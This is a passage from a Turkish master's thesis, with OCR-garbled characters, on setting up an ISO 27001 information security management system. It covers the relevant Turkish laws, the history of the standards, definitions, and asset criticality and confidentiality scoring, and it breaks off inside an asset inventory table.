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OZET
Yiiksek Lisans Tezi

ISO 27001 KAPSAMINDA KURUMSAL BiLGi GUVENLIGINE DINAMIK BiR
YAKLASIM

Kerem GENCER
Afyon Kocatepe Universitesi
Fen Bilimleri Enstitiisii
Internet ve Bilisim Teknolojileri Yénetimi Anabilim Dali

Danisman: Dog. Dr. Ugman ERGUN

Bu arastirmanin amaci giiniimiizde giderek daha fazla kullanilmaya baglanan biligim
kaynaklarinin giivenlik zafiyetlerini ortaya koymaktir. Ayrica sistemin isleyisi ile

entegre bir bigimde alinan 6nlemlerle sorunlar1 en aza indirmektir.

Olusturulan isleyisin sistemin bir pargasina doniistiiriilmesi amaglanmistir ve bu konuda
arastirmalar yapilmistir. Konu biitiinliigiine sadik kalarak bilgi giivenligi yonetim
sistemi, yonetim, risk ve uyumluluk konular1 incelenmistir. Bilisim gilivenligi

konusunun isleyisinde biitiinliik saglanmasina ¢aligilmigtir.

Kisaca bilgi giivenligi yonetim sisteminin kurulumu ele alinmis, ayrica sisteme dinamik
bir nitelik kazandirilmustir. isleyis giinliik calisma hayatmin bir parcasi haline getirilerek
streklilik saglanmaya ¢alisgtlmistir. Ayn1 zamanda kurumsal bilgi giivenligi

modellemesi yapilarak istenilen unsurlar {izerinde tahmin yapilabilmesi saglanmustir.

2015, xii + 85 sayfa

Anahtar Kelimeler: Bilgi giivenligi yonetim sistemi, ISO/IEC 27001, sizma testleri,

risk yonetimi.



ABSTRACT
M.Sc Thesis
A DYNAMIC APPROACH TO CORPORATE INFORMATION SECURITY UNDER
ISO 27001

Kerem GENCER

Afyon Kocatepe University
Graduate School of Natural and Applied Sciences
Department of Internet and Information Technologies Management

Supervisor: Assoc. Prof. Ugman ERGUN

This study aims to present security hitches of the informatic resources which are
increasingly used today. It also aims to decrease the problems to the lowest degree with
precautions taken by being entegrated to the system working. It’s been aimed the
working to be a part of the system and researches on this were done. By taking the
subject integrity into account, information security management system, management,
risks and harmony were analysed. It’s been tried to create integrity on the informatic

security working.

To sum up, the installing of informatic security management system has been taken up
and also a dynamic quality has been put into the system. The working has been made
a part of daily working life and by doing this it has been tried to create permanence. At
the same time, corporate information security is provided to modeling done on different

questions forecast.
2015, xii + 85 pages

Keywords: Information security management system, ISO/IEC 27001, penetration

tests, risk management.
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1.GIRiS

Bilgisayar aglarinda giivenlik ve savunma her kurumun yakindan ilgilenmesi ve gesitli
onlemler gelistirmesi gereken bir konudur. Bilginin yasadigimiz ¢aga damgasini vuran
bir varlik oldugu gercektir (Sagiroglu ve Canbek 2006). Giiniimiizde teknolojik
gelismeler sayesinde kullanim oranlar1 giderek artan, hayatimiz i¢in vazgegilmez hale
gelen bilgisayar ve internet, getirdikleri kolayliklarin yani sira biiyiik tehlikeleri de

barindirmaktadir.

Evlerdeki kullanim oranlar1 kadar kurumsal kullanim oranlarinin da artis gdstermesi
ozellikle bankacilik, e-ticaret vb. maddi zarara neden olabilecek kurumlarda yapilan
islerin giivenligi 6nemli bir husus haline gelmistir (Catrantzos 2012). Teknolojik
gelismelerin hizinin ¢ok yiiksek olmasi, bunun yaninda biiylik giivenlik agiklarini da
beraberinde getirdigi i¢in bu aciklarin degerlendirilmesinin ya da sistem
yapilandirilmasinin  belli bir ¢er¢eve icinde uluslararasi kurallar kapsaminda
diizenlenmesinin kaginilmaz oldugu goriilmiistiir. Devlet kurumlarinda da e-devlet
unsuru On plana ¢ikartilip hizmetlerin online olarak verilme istegi giderek yayginlasmais,
bu durum ulusal giivenligi de ilgilendirir ¢apta Onlemler alinmasini zorunlu hale

getirmistir.

Bilgi giivenligi, nitelikli bilginin ve yapinin, hirsizlik, veri degisikligi, ilgiyi bozma, gibi
saldir1 yontemlerine karst korunmasmi saglamaktir (Burlu 2010). Her kurum ve
organizasyon kendine 6zgii ag yapilart ve bunlar {izerinde ayr1 ayri1 tanimlamalar
oldugu icin kuruma 6zel bir ¢aligma yapilmalidir. Ancak belli bir yapidan yola ¢ikarak
elde edilen giivenlik tasarimlart hem kisilere bagimliliktan kurtarmaya hem de yapi
olustururken hata yapma oranini diisiirmeye, ayni zamanda kuruluslarin kendi aralarinda
giivenlik derecelerini degerlendirmelerine olanak tanmimaktadir. Insan unsurunun
bulundugu her alan gibi bilgi giivenligi alaninda da tam giivenlikten s6z edilemez,
ancak donanimla, yazilimla ve sistemle ilgili 6nlemler alinarak veriler daha giivenli hale
getirilebilir. Kullanim alanlarindaki ¢esitlenme gilivenlik saglanmasinmi giderek daha zor
hale getirmeye baslamistir. Ornegin bankacilik islemleri 6nceleri bankalardan yapilirken

sadece bankanin kendi sistem giivenligi konusunda Onlemler almasi yeterli



olabiliyorken giliniimiizde bu iglemlerin bilgisayar, cep telefonu, tablet gibi farkl ara¢ ve
farkl1 platformlardan yapilabilmesi giivenlik saglayicinin isini de zorlastirmaktadir.
Bilgisayar ve mobil cihazlar iizerindeki isletim sistemleri bile farklilik gosterdigi i¢in
bunlar i¢in almmacak oOnlemler de farkli olmaktadir. Hatta cep telefonlarinda 10S,
Android, Windows, Blackberry gibi farkli isletim sistemleri kullanildigindan dolay1 her

isletim sisteminin kendine 6zgili sorunlari bulunmaktadir.

Bu kadar cesitlilik ve karmasiklik arasinda belli temellere oturtulmus ve uluslararasi
tanmmushigr olan ISO 27001 (Uluslararas1 Standardizasyon Orgiitii) bilgi giivenligi
standard1 yardimiyla giivelik yapisinin genel hatlar1 belirlenebilir. Bu kapsamda kisi,
kurum, sistem farkliliklarimi gozeterek giivenlik yapisi kurulmalidir. Daha sonra
standart icinde ayrintisina tam girilmeyen bilgi giivenligi risk yonetimi ve metodlar
konusunda detayli c¢alisma yapilmalidir. Bu tez c¢alismasinda ilk olarak bilgi
glivenliginin kanun ve yonetmelikler igindeki yeri incelenmistir. Bilgi gilivenligi
yonetim sisteminin kurulmasindaki yasal zorunluluk anlatildiktan sonra biitiin diinya
tarafindan kabul goéren ISO 27001 bilgi giivenligi standardi {izerinde durulmustur.
Kurumsal bir bilgi islem yapisi altinda varlik analizi yaparak bir dokiimantasyon
olusturulmustur. Bu yapiy1 olusturmak ve ayni zamanda yapi iizerinde dinamik bir

kontrol saglamak icin temel diizeyde bilgi giivenligi kontrol yazilimi iiretilmistir.

Tez calismasinin son boliimiinde ise ISO 27001 kapsaminda fazlaca deginilmeyen ve
BGYS (Bilgi Giivenligi Yo6netim Sistemi) olusumunda risk oranlarmi gercekei olarak
ifade etmemize yardimeci olacak olan sizma testleri yapilmistir. Bu testler yapilirken
hazir sistemler kullanilmig, ayni zamanda 06zel testler ve yazilimlarin gelistirilmesi

acisindan kodlama yapilarak test araclari olusturulmustur.

Bu tez caligmasinda ISO 27001 kapsaminda olan ancak kendi biinyesinde cok
deginilmemis olan sizma testleri tanitilmistir. Bilgi giivenligi ¢ogunlukla kagit {izerinde
kalarak daha sonralarda gegerliligini yitiren ISO 27001 sertifikasyonunun dinamik bir
yap1 igerisindeki belirli zamanlara yayilmis is dongiilerinde tekrarlanmistir. Boylece
bilgi giivenligi sadece kagit iizerinde kalmamais, ger¢ek anlamda uygulanabilir bir bilgi

giivenligi yonetim sistemi olusturulmustur.



2. BILiSiM VE iLETiSIM MEVZUATINDA BiLGi GUVENLIGI

Internet ortami bilgiye erisim kolaylig1 saglamakla birlikte ayni zamanda giinliik
hayattaki islerimizin pratik bir sekilde yapilmasina olanak saglamistir. Ancak internetin
getirdigi kolayliklarin yani sira bir¢ok giivenlik problemine yol agtig1 goriilmektedir.
Bu noktadan yola ¢ikarak internet ortaminin bazi giivenlik kurallarina tabi olmasi
kacinilmaz hale gelmistir. Bu giivenlik 6nlemlerinin ve bu 6nlemlerin alinmamasi
durumunda ortaya c¢ikacak cezai yaptirimlar devlet tarafindan kanunlarla

diizenlenmistir. Bu boliimde devlet tarafindan diizenlenen bazi kanunlara deginilmistir.

2.1 internet Ortaminda Yapilan Yayinlarin Diizeni ve Islenen Suclarla Miicadele

Kanunu

5651 sayili bu kanun 23/05/2007 tarihinde yiriirliige girmistir. Bu kanunun amag ve
kapsami; igerik saglayici, yer saglayici, erisim saglayict ve toplu kullanim
saglayicilarinin yiikiimliilik ve sorumluluklar ile internet ortaminda islenen belirli
suclarla igerik, yer ve erigim saglayicilar lizerinden miicadeleye iliskin esas ve usulleri
diizenlemektedir. Bu kanunun uygulanmasinda;

Erisim saglayici, kullanicilarina internet ortamina erisim olanagi saglayan her tiirlii
gercek veya tiizel kisileri,

icerik saglayici, internet ortami iizerinden kullanicilara sunulan her tiirlii bilgi veya
veriyi iireten, degistiren ve saglayan gergek veya tiizel kisileri,

Toplu kullanim saglayici, kisilere belli bir yerde ve belli bir siire internet ortami
kullanim olanag saglayani,

Yer saglayici, hizmet ve igerikleri barindiran sistemleri saglayan veya isleten gercek

veya tiizel kisileri olarak tanimlanmaktadir.

Yukaridaki tanimlarindan biri ya da birkaci kurumsal bilgi islem dairelerine uymaktadir,
bu nedenle kanun bu dairelerde iizerinde yasal bir zorunluluk olusturmaktadir. Alt
maddelerde igerik saglayicinin sorumlulugu, yer saglayicinin sorumlulugu, erisim
saglayicinin yiikiimliiliikleri, toplu kullanim saglayicilarin yiikiimliiliikleri basliklar:

altinda cesitli gorev ve ddevler belirlenmistir.



2.2 Elektronik Haberlesme Sektoriinde Sebeke ve Bilgi Giivenligi Yonetmeligi

Elektronik Haberlesme Sektoriinde Sebeke Ve Bilgi Giivenligi Yonetmeligi madde

madde incelendiginde;

Birinci béliim 3. madde altinda ISO/IEC 27001 (Uluslararas1 Standardizasyon Orgiitii
/Uluslararas1 Elektroteknik Komisyonu), BGYS tanimlar1 acik olarak yer almis, ayni
zamanda erisilebilirlik, gizlilik, risk 6nleme risk isleme konulari tanimlanmig, bununla
beraber siber olaylara miidahale ekibi adi1 altinda BGY'S yonetim ekibi de agikga ortaya

konulmustur.

Ikinci béliim 4. madde altinda gegen sebeke ve bilgi giivenliginin saglanmasina ydnelik
tedbirlerin tespitinde ve uygulanmasinda risk temelli degerlendirmelerin yapilmasi,
ulusal diizenleme ile uluslararas1 standartlarin dikkate alinmasi, bunlar saglarken
giivenlik ile kullanilabilirlik arasinda denge kurulmasi konusunda tavsiyelerde

bulunulmustur.

Ucgiincii bdliim altinda; BGYS kurulmasi, BGYS politikasi, bilgi giivenligi grubu ve
faaliyetleri, varlik yonetimi siniflandirmasi, risk degerlendirme ve isleme, is siirekliligi,
bilgi giivenligi ihlal olaylarinin ve giivenlik aciklarinin yo6netimi konularinda
aciklamalar yaparak neredeyse ISO/IEC 27001 yol haritasinin tamamina 6zet olarak
dayanak olustururlar. Tek basina bu yonetmelik bile BGYS kurulum gerekgesi i¢in basl
basina bir nedendir. Yonetmelik ve kanunlar elbette ki ayrintili teknik bilgi icermezler,
ancak yol haritasi ¢izimi ve kurum i¢i sistem kurulumunun kabul ve devamliligi i¢in
yasal dayanaklardir. Yasal uygulama sonucunda ortaya ¢ikan tespitlerde g¢esitli cezalar
uygun goriildiigl i¢in sistemlerin bu dayanaklara uygun olarak kurulmasi se¢ilmis olan
uluslararasi sertifikanin ulusal anlamdaki gereklilikleri yerine getirme ve ulusal kabulii
artirma agisindan faydali olacagi aciktir. Elektronik haberlesme sektoriinde; sebeke ve
bilgi glivenligi yonetmeligi 13.07.2014 tarihinde yiiriirliige girmis olup, bu yonetmelik

bilgi giivenliginin saglanmasina yonelik usul ve esaslar1 agiklamaktadir.



3.ISO/IEC 27000 AILESI VE TARIHSEL GELISiMi

ISO/IEC 27000 ailesi internet ve ag giivenligi diizenlemeleri agisindan uluslararasi
kabul goérmiis bir standartlar biitiiniidiir. Bu konu hakkinda ¢esitli standartlar olmasina
ragmen ISO/IEC 27000 ailesi en ¢ok kabul goren yontemdir. Bu boliimde ISO/IEC

27000 ailesinin geligimi iizerinde ayrintili olarak durulmustur.

3.1 Tarihsel Gelisim Siireci

(Ingiliz Standartlar1 Enstitiisii) onderliginde devlet ve ticari kurumlarmm ortak
giivenlik yapisi olusturma ve yaptiklari islerde giivenlik acisindan simgesel bir anlam
tastyan kavramin olusturulmas istegi ile 1993 yilinda baslatilan ¢alisma sonucunda ISO
27001 bilgi giivenligi yonetim sistemi kurulmustur. ISO 27000 ailesinin bir ferdi olan
ISO 27001 teknik bir standart degil, yapilmasi gerekenleri ortaya koyan bir standarttir.

Standardin 2005 yilindan sonra ilk revizyonu Eyliil 2013' de yaymnlanmigtir. Standart

ISO/IEC 17799:2005 olarak adlandirilirken ilk olarak 2007 yilinda ISO 27001:2005

Bilgi Giivenligi Yonetim Sistemi standardi olarak isimlendirilmistir. Standardin 2005

versiyonundan 2013 versiyonuna gecis i¢cin 2015 yili Eyliil ay1 son tarih olarak

belirlenmis olup daha sonra ISO 27001:2005 belgesi diizenlenemeyecektir. Diinyada ve

tilkemizde ISO/IEC 27001 bilgi giivenligi standardinin tarihsel gelisimi asagidaki

gibidir:

e Endiistri ¢alisma grubunun kurulmasi - 1993

e Kural rehberi olarak yayinlanmasi (BS 7799 - 1) - 1993

e ingiliz standard1 olarak kabul gérmesi - 1995

e BS 7799 - 2’nin olusturulmasi - 1998

e BS 7799 -1 ve BS 7799 - 2 béliimlerinin uyumlulugunun gézden gegirilmesi - Mayis
1999

e BSISO/IEC 17999 (BS7799 - 1:2000) - Gegici versiyon / Ocak - Agustos 2000

e [SO tarafindan yayimnlanmasi - Aralik 2000

e Ingiltere’de BS ISO/IEC 17799:2000 / BS 7799 - 1: 2000 olarak adlandirilmasi -
2000



BS 7799 - 2:2002’nin yayinlanmasi - 5 Eyliil 2002

TS ISO/ IEC 17799’ un TSE (Tiirk Standartlar1 Enstitiisii) tarafindan kabulii - 11
Kasim 2002

TS 17799 - 2’nin TSE tarafindan kabulii - 17 Subat 2005

TS 17799 - 2’nin iptali - 2 Mart 2006 (TS 17999 - 2’nin yerini TS ISO/IEC 27001
ald1.)

TS ISO/TEC 27001:2005” in TSE tarafindan kabulii - 2 Mart 2006

3.2 ISO/IEC 27000 Standartlarina Genel Bir Bakis

ISO/IEC 27000 standartlar: ailesi agagidaki gibi gosterilerek bu durum Sekil 3.1°de
ayrica TS ISO/IEC 27000 BGYS ailesi standartlar1 arasindaki iliskileri verilmistir.

ISO/IEC 27001: Dokiimante edilmis bir bilgi giivenligi yonetim sisteminin
kurulmasi, gerceklestirilmesi, izlenmesi, gozden gecirilmesi, siirdiiriilmesi ve
tyilestirilmesi i¢in gerekleri kapsar.

ISO/IEC 27002: Bilgi giivenliginin saglanmasi ic¢in kontrollerin se¢ilmesinde ve
uygulanmasinda kilavuzluk yapar.

ISO/IEC 27003: ISO/IEC 27001 ile uyumlu BGYS’nin kurulmasi, uygulanmasi,
isletilmesi, izlenmesi, gdozden gecirilmesi, siirdiiriilmesi ve iyilestirilmesi uygulama
kilavuzudur.

ISO/IEC 27004: Bilgi giivenligi uygulamasinda, yonetilmesinde kullanilan kontroller
ve  kontrol  hedeflerinin  gelistirilmesinde =~ ve  BGYS etkinliginin
degerlendirilmesindeki 6l¢timlerde kilavuzluk eder.

ISO/IEC 27005: Risk yonetimi kilavuzunu kapsar.

ISO/IEC 27006: ISO/IEC 27001 ile uyumlu BGYS sertifikasyonu ve denetim
saglayan kuruluglarin gerekliliklerine kilavuzluk yapar.

ISO/TEC 27007: BGYS denetimlerinin yapilmasi konusu ve bilgi giivenligi yonetim
sistemi denetgilerine yeterlilik kilavuzlugu yapar.

ISO/IEC 27011: Telekomiinikasyon kuruluslari i¢in uygulamaya yardim eder.
ISO/IEC 27799: Saglik kuruluslarinda gereklilikleri yerine getirmek i¢in kilavuzluk

yapar.
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Sekil 3.1 TS ISO/IEC 27000 BGYS ailesi standartlar1 arasindaki iligkiler (Sen ve Yerlikaya
2013).

3.3 1SO 27001 Standardinin Ana Maddeleri

ISO 27001'in bilgi varliklart konusunda farkindalik saglama, sirketin piyasadaki

giivenilirligini artirma, her departmandan c¢aliganin g¢aligma motivasyonu arttirma,

disaridaki itibar agisindan kanun ve prosediirlere uyuldugunu belgeleme gibi faydalar
vardir. Her kademede bilgi giivenliginin saglandigin1 gdsteren, piyasada rekabet
avantaj1 saglama gibi 6zellikleri olan ISO 27001 standardinin ana maddeleri sunlardir:

e Giivenlik politikasi: Burada bir bilgi gilivenligi politikas1 kabul edilerek, yonetimsel
destek ve stireklilik konulariin garantisi saglanir.

e Bilgi giivenligi organizasyonu: Burada sistemin beyni diyebilecegimiz kurumun
olanak ve ihtiyaglar1 gz oniline alinarak olusturulan asil uygulama ekibinin yapisi
kurulur. Ekip, bilgi islem dairesi birimleri igerisinde tecriibe ve yetenek olarak 6ne
cikan birim yoneticileri arasindan sistem, ag ve yazilim ekip liderleri ile bunlarin
bagli oldugu bir teknik yonetici olarak tasarlanir.

e Varlik yonetimi: Bilgi degeri tasiyan tiim varliklarin bir envanterinin ¢ikarilmasi

seklinde gerceklestirilir.



e Insan kaynaklari giivenligi: Insan kaynakli hata ve suglari engelleme amagh
tedbirleri igerir.

e Fiziksel ve gevresel giivenlik: Kritik noktalara erisim yetkisi olmayanlarin girigini
engellemek tizerinde durulur.

e Haberlesme ve iletisim yontemi: Ag iizerinden yapilan iletisimin giivenliginin
saglanmast ve bilgi dogrulugu ve biitiinligiinii igerir.

e Erisim kontrolii: Erisim kisitlama ve yetkilendirmeyi igerir.

e Bilgi sistemleri edinimi, gelistirme ve bakimi: Kurulan sistemlerde biitiinlik ve
giivenlik unsurlarinin saglanmasini, daha sonraki gelistirme siireclerinde ise yine bu
unsurlardan 6diin verilmemesini igerir.

e Bilgi giivenligi ihlal olay1 yonetimi: Thlal durumlarindaki davranis ve tepkileri igerir.

e s siirekliligi yonetimi: Felaket kurtarma istasyonu olusumu en giizel érneklerdendir.

e Uyum: Sistem kurulumu ve isletimi daha 6nce belirtilen yasal diizenlemelere uygun

olmalidir.

3.4 ISO/IEC 27001’in Ozellikleri ve Sertifikasyonu

ISO/IEC 27001 standardi 11 ana madde ve bunlarin altinda 133 alt maddeden
olusmaktadir. Bu maddeleri incelemeye baslamadan Once bazi terimlerin

aciklanmasinda yarar vardir.

e Varlik: Kurulus i¢cin 6nem ifade eden tiim degerlerdir. [ISO/IEC 13335-1:2004].
Burada bilgi islem birimi olarak ele aldigimizda sunucular dahil sistemi olusturan
biitiin pargalar hatta bunun yani sira ¢alisan personel bile buna dahil edilmelidir.

e Kullanilabilirlik: Yetkili bir varlik tarafindan talep edildiginde erisilebilir ve
kullanilabilir olma ozelligidir [ISO/IEC 13335-1:2004]. Kullanic1 tarafindan
istendiginde veritabani bilgilerine ulasabilme olarak tanimlanabilir.

e Gizlilik: Bilginin yetkisiz kisiler, varliklar ya da proseslere kullanilabilir yapilmama
ya da agiklanmama 6zelligidir [ISO/IEC 13335-1:2004].

Kisilerin veri tabaninda sadece izinli olduklar1 kisimlara erisebilmeleriyle agiklanabilir.

e Bilgi giivenligi: Bilginin gizliligi, biitiinliigii ve kullanilabilirliginin korunmasidir. Ek

olarak, dogruluk, aciklanabilirlik, inkdr edememe ve giivenirlik gibi ozellikleri de



kapsar [ISO/IEC 17799:2005]. Bilgiye ulasim sirasinda meydana gelen islemlerin
loglanarak daha sonradan kontrol edilebilmesiyle agiklanabilir.

Bilgi giivenligi ihlal olay1: Olas1 bir bilgi giivenligi aci81, koruyucularin basarisizligi,
giivenlikle 1ilgili olabilecek 6nceden bilinmeyen bir durumun ortaya ¢ikisidir
[ISO/IEC 18044:2004]. Alinan onlemlere ragmen yetkisiz kisinin veritabanina
ulagimi olarak agiklanabilir.

Bilgi giivenligi ihlal olay:: Is operasyonlarmi tehlikeye atma ve bilgi giivenligini
tehdit etme olasilig1 yliksek olan tek ya da bir dizi istenmeyen ya da beklenmeyen
bilgi giivenligi olayidir [ISO/IEC 18044:2004]. Yetkisiz olarak veritabanina
erisebilen kisinin verilerde silme vb. islemleri ger¢eklestirmesidir.

Bilgi giivenligi yonetim sistemi: Bilgi giivenligini kurmak, ger¢eklestirmek,
isletmek, gézden gegirmek, siirdiirmek ve gelistirmek i¢in is riski yaklasimina dayali
tiim yonetim sisteminin bir parcasidir.

Biitlinliik: Varliklarin dogrulugunu ve tamligin1 koruma 6zelligidir [ISO/IEC 13335-
1:2004]. Bilgi varliklarinin biitiinliigii korunmadig: siirece istenilen durumlardan ¢ok
uzak kalinabilecegi cok agiktir, veritabanina kayith bir bilgide silinen kisimda bir
onceki kismi tamamen reddeden bir ag¢iklamanin bulunmasi ile agiklanabilir.

Artik risk: Risk islemeden sonra kalan risktir [ISO/IEC Guide 73]. Risk analizi
sonras1 hala kalan risktir.

Riskin kabulii: Bir riski kabul etme kararidir [ISO/IEC Guide 73]. Risk analizi
sonradan ortadan kaldirilamayan ya da ortadan kaldirma maliyeti yiiksek olan bir
riski kabul edip bu riskle devam etmektir.

Risk analizi: Kaynaklar1 belirlemek ve riski tahmin etmek amaciyla bilginin
sistematik kullanimidir [[SO/IEC Guide 73].

Risk degerlendirme: Risk analizi ve risk derecelendirmesini kapsayan tiim siire¢lerdir
[ISO/TEC Guide 73].

Risk derecelendirme: Riskin 6nemini tayin etmek amaciyla tahmin edilen riskin

verilen risk kriterleri ile karsilagtirilmasi siirecidir [ISO/IEC Guide 73].

Risk yontemi: Bir kurulusu risk ile ilgili olarak kontrol etmek ve yonlendirmek

amaciyla kullanilan koordineli faaliyetlerdir [ISO/IEC Guide 73 ].

Risk igleme: Riski degistirmek i¢in alinmasi gerekli 6nlemlerin segilmesi ve uy-

gulanmasidir [ISO/IEC Guide 73].



4. BILGI GUVENLIGI YONETIM SiSTEMi VE ONEMIi

4.1 Bilgi Giivenligi Yonetim Sistemi Nedir ?

Bilginin gizliligi, biitiinliigl ve kesintisiz kullanilabilirligini (erigilebilirligini) saglamak
tizere sistemli kurallar1 konulmus, yonetilebilir, siirdiiriilebilir, dokiimante edilebilir,
yonetimce kabul gormiis ve uluslararast gilivenlik standartlarinin temel alindigi

faaliyetler biitlinline bilgi giivenligi yonetim sistemi denir (Anonim 2012).

Bilgi giivenligi yonetim sistemi bir siiregtir ve bu siirecte kurallara tavizsiz uyulmalidir.
Sonucta, diigman1 ve kendinizi iyi biliyorsaniz, yiizlerce savasa bile girseniz sonugtan
emin olabilirsiniz. Kendinizi bilip, diigman1 bilmiyorsaniz, kazanacagimiz her zafere
karsin yenilgiyle de tanisabilirsiniz. Ne kendinizi ne de diigmani bilmiyorsaniz, sizin

i¢in gireceginiz her savasta yenilgi kacinilmazdir (Tzu 2010).

Ayn1 zamanda bu siirecin bir takim ¢alismas1 oldugu yani biitiin unsurlar tarafindan ayni
titizlikle uygulanmasiyla siiregte basariy1 elde etmenin miimkiin olacag bir gercektir
(Mitnick 2005). Bu ¢alisma tamamlandiginda tehditler ve riskler belirlenmis olup ayni
zamanda kurumun prestij, s siirekliligi, personel farkindaligi, kétii amaglh kullanimlarin
engellenmesi, yetkisiz erisimlerin Oniline gecilmesi, {igiincii taraflarin denetimine
aciklik, seffaflik ve zararlarin 6niine gecilmesi konular1 ¢6ziime kavusacaktir.

Genel olarak bilgi giivenligi kavramui {i¢ ana sart1 i¢inde barindirir:

Gizlilik: Korunmasi gerekli 6nemli bilgileri yalnizca yetkili kisiler gorebilmeli, yetkisiz
erisim engellenmelidir.
Biitiinliik: Bilgi yetkisiz kigiler tarafindan kismen veya tamamen degistirilmemelidir.

Kullamlabilirlik: Bilgiye erisme ve kullanabilme konusunda devamlilik saglanmalidir.

Cihaz ya da yazilimlarla giivenlik saglamak miimkiin olmadigi i¢in kurum tarafindan
benimsenip bir kiiltiir haline getirilmeyen bir sistemin basarili olabilmesinin imkansiz
oldugu aciktir. Siber saldir1 maddi menfaat icin yapilabilecegi gibi politik, askeri veya
kisisel amaglar gibi gayri maddi amaglarla da ger¢eklesebilmektedir (Giingor 2015).

10



4.2 Bilgi Giivenligi Yonetim Sistemi Kurulumu

Bir kurulusta bu tiir olusumlar1 yerlestirmek i¢in {ist yonetim destegi ve alt calisan
destegi saglanmalidir. Sistem kurulumu asamasinda dayanak olarak yasal gerekgeler,
tehdit ve riskler ve kurumsal prestij unsurlart kuruluma olan hevesi artiracaktir. Bu

asamada sizma testleri ile gergek acikliklarin ortaya konmasi ikna siirecini artiracaktir

Bu sizma testleri daha sonraki siireclerde uygulanmaya devam edilecek bdylece

giivenlik agiklar tespit edilip, kontrol ve kapatilma iglemleri gergeklesecektir.

Sekil 4.1°de verilen planla- uygula - kontrol et - 6nlem al (PUKO) ¢evrimi uyarinca,
risk yonetimi faaliyetleri yiiriitiilmeli ve varligin risk seviyesi kabul edilebilir bir

seviyeye getirilene kadar ¢alismalara devam edilmelidir.

ilgili taraflar

ilgili taraflar
Planla

Bilgi giivenligi
gereksinimleri ve

. Yonetilen bilgi
beklentileri

giivenligi

Kontrol et

Sekil 4.1 ISO 27001 Planla, uygula, kontrol et ve 6nlem al asamalar1 dongiisii (Anonim 2006).
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4.3 Bilgi Giivenligi Yonetim Sistemi Kurulum Asamalari

Bilgi giivenligi yonetim grubu, kurum igerisinden, BGYS'nin uygulama kapsami goz
Oniline alinarak, isleyisi ve kontrolii tam olarak saglayabilecek yetenekte elemanlardan
secilmelidir. Kurulan yapida kapsam bilgi islem dairesi olarak tutuldugu icin sistemci,
ag uzmani, yazilim ekip lideri ve konuya hakim bir yonetici tarafindan olusturulur. Bu

grubun gorevleri genel olarak;

e BGYS uygulamasini yonetmek

e Model kapsaminda risk belirlemek

e Risklere kars1 6nlem olusturmak

e Onlem etkisi 6lcmek

e Varliklar belirlemek

e Olusturulan dokiimanlari1 kontrol etmek
e BGYS gelisimi ve bakimini saglamak
o Tehditleri izlemek

e ¢ ve dis denetimleri yapmak

e Acil durum senaryosu olusturmak

e Olusturulan sistemde dinamik bir isleyis kazandirmak

seklinde kisaca belirtilebilir.

4.4 Bilgi Giivenligi Yonetim Sisteminin Kurulacagi Kapsamin Belirlenmesi

Bilgi giivenligi yoOnetim sisteminin kurulacagr kapsam olusturulurken miimkiin
oldugunca BGYS kapsamiin kisith tutulmasi uygulama agisindan verimli olacaktir.
Ciinkii kapsam igerisinde varlik ve bu varliklara ait risk analizleri teker teker yapilacagi
icin kapsami genis tutulmasi dosya yigmlarmma neden olur ve bu ger¢ek anlamda

sistemin olusturulup yonetilmesinin oniine geger.
Buradaki goriigiimiiz ileride de belirtilecegi gibi uygulama ve sonuglar lizerinden ¢ikan

varsayim degil gercek degerler iizerine gitmek olacagi i¢in bu kisimda verilen karar

yapinin giivenilirlik oranini biiyiik 6lciide etkiler. Asagida ilk olarak bilgi giivenligi
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yonetim sisteminin kurulumu varlik envanteri olusturulmasi asamasi ardindan

varliklarin bosluk analizi ve durum degerlendirmesi asamasi1 6zetlenecektir.

4.4.1 Bilgi Giivenligi Yonetim Sisteminin Kurulumu Varhk Envanteri Asamasi

Secilen kapsam ¢ergevesinde varlik envanteri asagidaki gibidir.

e Donanim varligi 6rnegi

Uygulama yazilimi 6rnegi

Hazir hizmet yazilimi 6rnegi

Bilgi varlig1 6rnegi

4.4.1.1 Donanim Varhgi1 Asamasi

Bilgi sistemleri donanim varliklarinin kritiklik ve gizlilik seviyeleri hakkinda bilgi

asagida verilerek; Cizelge 4.1'de bir 6rnegi gosterilmistir.

e Kiritiklik (Erisilebilirlik+Biitiinliik)

Donanimin kritikligi ii¢ seviyede belirlenir.

Yiiksek: Bu donanimin devre disi kalmasi tiim sistemi devre disi birakir. Sistem
giivenligi ve is stirekliligi tehlikeye girer. Yiiksek kritiklik derecesine sahip bir sistemin
bir saate kadar devre dis1 kalmasi kabul edilebilir. Sistem biitiinliigiiniin saglamasi ¢cok
onemlidir. Kritik puan1 5’tir.

Orta: Bu donanimin devre disi kalmasi durumunda, sistem ¢aligmaya devam eder ancak
sistemin bir boliimii zarar gérmiis olabilir. Orta kritiklik derecesine sahip bir sistemin

yirmi dort saate kadar devre dis1 kalmasi kabul edilebilir. Kritik puan1 3’tiir.

Diisiik: Bu donanimin devre dis1 kalmasi durumunda sistem giivenligi etkilenmez.

Sistem ¢ogu islevleri ile ¢alisir durumda olmaya devam eder. Diisiik kritiklige sahip bir
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donanimin iki giine kadar devre dis1 kalmasi kabul edilebilir. Kritik puani 1'dir.

e Gizlilik Derecesi

Gizlilik derecesi, bu donamin iizerindeki bilgilerin yetkisiz kisilerin eline ge¢mesi
durumunda sistem gilivenliginin diisecegi duruma gore belirlenir. Gizlilik derecesi li¢

seviyesidir:

Cok Gizli: Bu gizlilik derecesindeki bir donanima ait erisim bilgilerinin ortaya ¢ikmasi
durumunda, sisteme yetkisiz kisilerin erismesi miimkiin hale gelir. Sistem ve bilgi

gilivenligini tamamen tehlikeye girer. Gizlilik puanm 5°dir.
Gizli: Bu gizlilik derecesindeki bir donanima ait erisim bilgilerinin ortaya ¢ikmasi
durumunda, sistem giivenligi tehlikeye girmez ancak yalnizca bu donanima yetkisiz

kisilerin erismesi miimkiin hale gelir ve zafiyet yaratabilir. Gizlilik puan1 3°diir.

Onemsiz gizlilik: Bu gizlilik derecesindeki bir donanima ait erisim bilgilerinin ortaya

¢ikmasi, sistem giivenligi ve siirekliligini etkilemez. Gizlilik puani 1°dir.
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Cizelge 4.1 Donanim varliklar1 6rnegi (Ersoy 2012).

Ozellik

Aciklama

Donanim Adi

Agiklama

Konum

Uzerinde Calisan
Servisler/Uygulamalar

Yedegi Var m ?

IP Adresi
Erisim Bilgileri

Sorumlu Personel
Yetkili Personel

isletim Sistemi ve Siiriimii

Veritaban1 Sunucusu

Uzerinde A projesi kapsamindaki B,C ve D uygulamalarini bilgileri bulunmaktadir. Ayni
zamanda personel ve evrak takibi uygulamalari i¢in de kullanilmaktadir. Kurumun tim
onemli bilgilerini iceren veritabani bu donanim iizerinde yer alir. Bu donanimin ¢alisamamasi
